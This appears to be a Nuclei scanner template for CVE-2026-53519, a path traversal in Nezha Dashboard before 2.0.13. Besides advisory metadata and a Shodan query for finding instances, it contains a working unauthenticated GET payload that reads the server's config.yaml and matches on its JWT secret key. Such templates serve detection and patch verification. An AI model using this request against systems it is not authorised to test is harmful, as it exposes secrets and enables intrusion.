CVE-2026-53519: Nezha Dashboard < 2.0.13 - Path Traversal

id: CVE-2026-53519

info:
  name: Nezha Dashboard < 2.0.13 - Path Traversal
  author: Aryu-RU,str4k3r
  severity: critical
  description: |
    Nezha Monitoring < 2.0.13 contains a path traversal caused by improper prefix checking in the dashboard's NoRoute handler, letting unauthenticated attackers read arbitrary files via crafted URLs.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive configuration or data files.
  remediation: |
    Update to version 2.0.13 or later.
  reference:
    - https://github.com/nezhahq/nezha/security/advisories/GHSA-5c25-7vpj-9mqh
    - https://nvd.nist.gov/vuln/detail/CVE-2026-53519
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-53519
    epss-score: 0.01928
    epss-percentile: 0.78955
    cwe-id: CWE-22
  metadata:
    verified: true
    shodan-query: title:"Nezha"
  tags: cve,cve2026,nezha,lfi,traversal,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/dashboard%2e%2e/data/config.yaml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "jwt_secret_key:"

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009382fd9d814b65cf705295897726049585e8f9226f1da2c3428572cb14493905022100a67dbb0ae7bd32371c77376b1ec926c98cb0fb727321112706e5a3771f42e943:922c64590222798bb761d5b6d8e72950

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